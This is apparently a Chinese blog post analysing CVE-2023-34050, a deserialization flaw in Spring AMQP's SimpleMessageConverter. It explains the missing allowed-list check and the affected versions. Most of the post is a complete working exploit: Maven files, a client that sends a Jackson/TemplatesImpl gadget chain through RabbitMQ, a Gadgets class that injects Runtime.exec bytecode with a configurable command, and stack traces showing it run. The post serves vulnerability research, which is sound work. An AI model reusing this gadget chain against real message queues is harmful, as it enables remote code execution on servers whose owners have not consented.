Spring AMQP 反序列化漏洞 (CVE-2023-34050) 分析

admin 2023年12月15日22:20:16评论87 views字数 29642阅读98分48秒阅读模式

Spring AMQP 反序列化漏洞 (CVE-2023-34050) 分析

昨天 watchvuln 收到了通告, 简单花了点时间看了看这个漏洞

https://spring.io/security/cve-2023-34050

https://github.com/spring-projects/spring-amqp/compare/v3.0.9...v3.0.10

影响版本:

  • 1.0.0 to 2.4.16
  • 3.0.0 to 3.0.9

新版本加入了 SPRING_AMQP_DESERIALIZATION_TRUST_ALL 环境变量

http://cn-sec.com/wp-content/uploads/2023/12/20231215113210-51.png

并且修改了 checkAllowedList 方法

http://cn-sec.com/wp-content/uploads/2023/12/20231215113212-95.png

根据 Spring 官方通告的描述, 满足以下条件时则存在漏洞

  • 使用 SimpleMessageConverter 或 SerializerMessageConverter (默认为 SimpleMessageConverter)
  • 开发者没有配置 allowed list patterns
  • 攻击者可以向 RabbitMQ 服务器的某个 Queue 内写入 Message (RabbitMQ 未授权/弱口令/可配置 RabbitMQ 连接参数)
  • 必须得有对应的 Listener 来处理接收到的 Message (使用 @RabbitListener@RabbitHandler 注解)

MessageConverter 用于将 Java 对象转换为 RabbitMQ 的 Message, 如果没有明确指定 MessageConverter, 则默认使用 SimpleMessageConverter

首先搭建一个 demo 环境, 以 SimpleMessageConverter 为例

https://www.liaoxuefeng.com/wiki/1252599548343744/1282385960239138

按照文章中的步骤创建 test_queue 和 test_exchange

server pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.6</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>server</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>server</name>
    <description>server</description>
    <properties>
        <java.version>8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-amqp</artifactId>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

client pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.6</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>client</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>client</name>
    <description>client</description>
    <properties>
        <java.version>8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-json</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-amqp</artifactId>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

ClientApplication

这里使用了 JdkDynamicAopProxy 来改进 Jackson 链, 参考: https://xz.aliyun.com/t/12846

package com.example.client;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.springframework.amqp.rabbit.core.RabbitTemplate;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ApplicationContext;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

@SpringBootApplication
public class ClientApplication implements CommandLineRunner {
    @Autowired
    RabbitTemplate rabbitTemplate;

    @Autowired
    ApplicationContext applicationContext;

    public static void main(String[] args) {
        SpringApplication.run(ClientApplication.class, args);
    }

    @Override
    public void run(String... args) throws Exception {
        TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl("open -a Calculator");

        AdvisedSupport as = new AdvisedSupport();
        as.setTarget(templatesImpl);

        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);

        Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);

        POJONode pojoNode = new POJONode(templatesProxy);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Reflections.setFieldValue(poc, "val", pojoNode);
        
        rabbitTemplate.convertAndSend("test_exchange", "", poc);

        SpringApplication.exit(applicationContext);
    }
}

Server QueueMessageListener

package com.example.server;

import org.springframework.amqp.rabbit.annotation.RabbitListener;
import org.springframework.stereotype.Component;

@Component
public class QueueMessageListener {

    @RabbitListener(queues = "test_queue")
    public void onMessageFromQueue(Object message) {
        System.out.println("queue test_queue received message: " + message);
    }
}

因为使用了 Jackson 链, 所以 client 那边记得去 patch BaseJsonNode

http://cn-sec.com/wp-content/uploads/2023/12/20231215113212-70.png

当调用 convertAndSend 方法时, RabbitTemplate 会调用当前 MessageConverter (即 SimpleMessageConverter) 的 createMessage 方法, 将 Java 对象转换为 RabbitMQ 的 Message

http://cn-sec.com/wp-content/uploads/2023/12/20231215113213-62.png

可以看到 SimpleMessageConverter 支持 String, byte[] 和 Serializable payloads

对于继承了 Serializable 的 Java 对象, SimpleMessageConverter 会调用 SerializationUtils.serialize() 将其序列化, 并指定 Message 的 content type 为 application/x-java-serialized-object

http://cn-sec.com/wp-content/uploads/2023/12/20231215113213-4.png

因为我们使用了 @RabbitListener 注解来处理 test_queue 这个 Queue 里的 Message, 所以在从 Queue 中取出 Message 时, 会调用 SimpleMessageConverter 的 fromMessage 方法

http://cn-sec.com/wp-content/uploads/2023/12/20231215113213-97.png

调用 SerializationUtils.deserialize() 时指定了一个自定义的 ObjectInputStream, 重写了 resolveClass

http://cn-sec.com/wp-content/uploads/2023/12/20231215113214-11.png

调用 checkAllowedList 对反序列化的类名进行检查

http://cn-sec.com/wp-content/uploads/2023/12/20231215113214-22.png

问题就出在这里, 在默认情况下并没有配置 allowed list patterns, 因此就不会进入 if 的判断, 也就不会抛出任何异常, 导致任意的 Java 类都可以被反序列化

然后这个漏洞有个问题, 虽然最终可以弹计算器, 但是 server 端会死循环一直抛出 ListenerExecutionFailedException

org.springframework.amqp.rabbit.support.ListenerExecutionFailedException: Failed to convert message
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:155) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doInvokeListener(AbstractMessageListenerContainer.java:1665) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.actualInvokeListener(AbstractMessageListenerContainer.java:1584) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.invokeListener(AbstractMessageListenerContainer.java:1572) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doExecuteListener(AbstractMessageListenerContainer.java:1563) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.executeListener(AbstractMessageListenerContainer.java:1507) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.doReceiveAndExecute(SimpleMessageListenerContainer.java:967) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.receiveAndExecute(SimpleMessageListenerContainer.java:914) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.access$1600(SimpleMessageListenerContainer.java:83) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.mainLoop(SimpleMessageListenerContainer.java:1291) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.run(SimpleMessageListenerContainer.java:1197) [spring-rabbit-2.4.3.jar:2.4.3]
at java.lang.Thread.run(Thread.java:750) [na:1.8.0_362]
Caused by: java.lang.RuntimeException: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy68["outputProperties"])
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136) ~[classes/:2.13.2.2]
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86) ~[na:1.8.0_362]
at sun.reflect.GeneratedMethodAccessor35.invoke(Unknown Source) ~[na:na]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) ~[na:1.8.0_362]
at org.springframework.amqp.utils.SerializationUtils.deserialize(SerializationUtils.java:91) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.support.converter.SimpleMessageConverter.fromMessage(SimpleMessageConverter.java:113) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.AbstractAdaptableMessageListener.extractMessage(AbstractAdaptableMessageListener.java:342) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter$MessagingMessageConverterAdapter.extractPayload(MessagingMessageListenerAdapter.java:365) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.support.converter.MessagingMessageConverter.fromMessage(MessagingMessageConverter.java:132) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.toMessagingMessage(MessagingMessageListenerAdapter.java:242) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:145) ~[spring-rabbit-2.4.3.jar:2.4.3]
... 11 common frames omitted
Caused by: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy68["outputProperties"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:392) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:351) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.StdSerializer.wrapAndThrow(StdSerializer.java:316) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:782) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
... 29 common frames omitted
Caused by: java.lang.NullPointerException: null
at com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:376) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:456) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507) ~[na:1.8.0_362]
at sun.reflect.GeneratedMethodAccessor39.invoke(Unknown Source) ~[na:na]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344) ~[spring-aop-5.3.18.jar:5.3.18]
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:208) ~[spring-aop-5.3.18.jar:5.3.18]
at com.sun.proxy.$Proxy68.getOutputProperties(Unknown Source) ~[na:na]
at sun.reflect.GeneratedMethodAccessor38.invoke(Unknown Source) ~[na:na]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
... 40 common frames omitted

参考:

https://stackoverflow.com/questions/57622635/rabbithandler-how-to-catch-listenerexecutionfailedexception-listener-method

https://github.com/spring-projects/spring-amqp/issues/2437

https://zhuanlan.zhihu.com/p/98915831

默认情况下, 如果 Listener 在处理 Message 时出现了异常, 则 spring-amqp 会将其重新排队 (Requeue), 然后再次处理 Message

因为使用 Jackson 原生反序列化 + TemplatesImpl 这条链在打的时候必定会出现报错, 所以会出现一直排队的情况, 导致死循环

stackoverflow 也给出了解决方法, 那就是在处理失败的时候抛出 AmqpRejectAndDontRequeueException 异常

package com.example.client;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class Gadgets {
    public static TemplatesImpl createTemplatesImpl(String command) throws Exception {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();

        String body = String.format("{java.lang.Runtime.getRuntime().exec(\"%s\"); throw new org.springframework.amqp.AmqpRejectAndDontRequeueException(\"err\");}", command);

        CtClass clazz = pool.makeClass("TemplatesEvilClass");

        CtClass superClazz =pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        clazz.setSuperclass(superClazz);

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody(body);
        clazz.addConstructor(constructor);

        Reflections.setFieldValue(templatesImpl, "_name", "Hello");
        Reflections.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
        Reflections.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        return templatesImpl;
    }
}

最终的异常信息, 并且不再出现死循环

org.springframework.amqp.rabbit.support.ListenerExecutionFailedException: Failed to convert message
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:155) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doInvokeListener(AbstractMessageListenerContainer.java:1665) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.actualInvokeListener(AbstractMessageListenerContainer.java:1584) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.invokeListener(AbstractMessageListenerContainer.java:1572) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doExecuteListener(AbstractMessageListenerContainer.java:1563) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.executeListener(AbstractMessageListenerContainer.java:1507) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.doReceiveAndExecute(SimpleMessageListenerContainer.java:967) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.receiveAndExecute(SimpleMessageListenerContainer.java:914) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.access$1600(SimpleMessageListenerContainer.java:83) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.mainLoop(SimpleMessageListenerContainer.java:1291) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.run(SimpleMessageListenerContainer.java:1197) [spring-rabbit-2.4.3.jar:2.4.3]
at java.lang.Thread.run(Thread.java:750) [na:1.8.0_362]
Caused by: java.lang.RuntimeException: com.fasterxml.jackson.databind.JsonMappingException: err (through reference chain: com.sun.proxy.$Proxy66["outputProperties"])
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_362]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) ~[na:1.8.0_362]
at org.springframework.amqp.utils.SerializationUtils.deserialize(SerializationUtils.java:91) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.support.converter.SimpleMessageConverter.fromMessage(SimpleMessageConverter.java:113) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.AbstractAdaptableMessageListener.extractMessage(AbstractAdaptableMessageListener.java:342) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter$MessagingMessageConverterAdapter.extractPayload(MessagingMessageListenerAdapter.java:365) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.support.converter.MessagingMessageConverter.fromMessage(MessagingMessageConverter.java:132) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.toMessagingMessage(MessagingMessageListenerAdapter.java:242) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:145) ~[spring-rabbit-2.4.3.jar:2.4.3]
... 11 common frames omitted
Caused by: com.fasterxml.jackson.databind.JsonMappingException: err (through reference chain: com.sun.proxy.$Proxy66["outputProperties"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:392) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:351) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.StdSerializer.wrapAndThrow(StdSerializer.java:316) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:782) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
... 30 common frames omitted
Caused by: org.springframework.amqp.AmqpRejectAndDontRequeueException: err
at TemplatesEvilClass.<init>(TemplatesEvilClass.java) ~[na:na]
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) ~[na:1.8.0_362]
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) ~[na:1.8.0_362]
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) ~[na:1.8.0_362]
at java.lang.reflect.Constructor.newInstance(Constructor.java:423) ~[na:1.8.0_362]
at java.lang.Class.newInstance(Class.java:442) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_362]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344) ~[spring-aop-5.3.18.jar:5.3.18]
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:208) ~[spring-aop-5.3.18.jar:5.3.18]
at com.sun.proxy.$Proxy66.getOutputProperties(Unknown Source) ~[na:na]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_362]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
... 41 common frames omitted

http://cn-sec.com/wp-content/uploads/2023/12/20231215113215-89.png

不过如果使用已经修复的最新版测试, 依然会死循环, 因为没办法抛出 AmqpRejectAndDontRequeueException

当然也有可能是这个 demo 比较简单, 没有像一些成熟的项目那样进行错误处理 (

org.springframework.amqp.rabbit.support.ListenerExecutionFailedException: Failed to convert message
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:157) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doInvokeListener(AbstractMessageListenerContainer.java:1722) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.actualInvokeListener(AbstractMessageListenerContainer.java:1641) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.invokeListener(AbstractMessageListenerContainer.java:1629) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doExecuteListener(AbstractMessageListenerContainer.java:1620) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.executeListener(AbstractMessageListenerContainer.java:1564) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.doReceiveAndExecute(SimpleMessageListenerContainer.java:994) [spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.receiveAndExecute(SimpleMessageListenerContainer.java:941) [spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.access$1600(SimpleMessageListenerContainer.java:86) [spring-rabbit-2.4.17.jar:2.4.17]
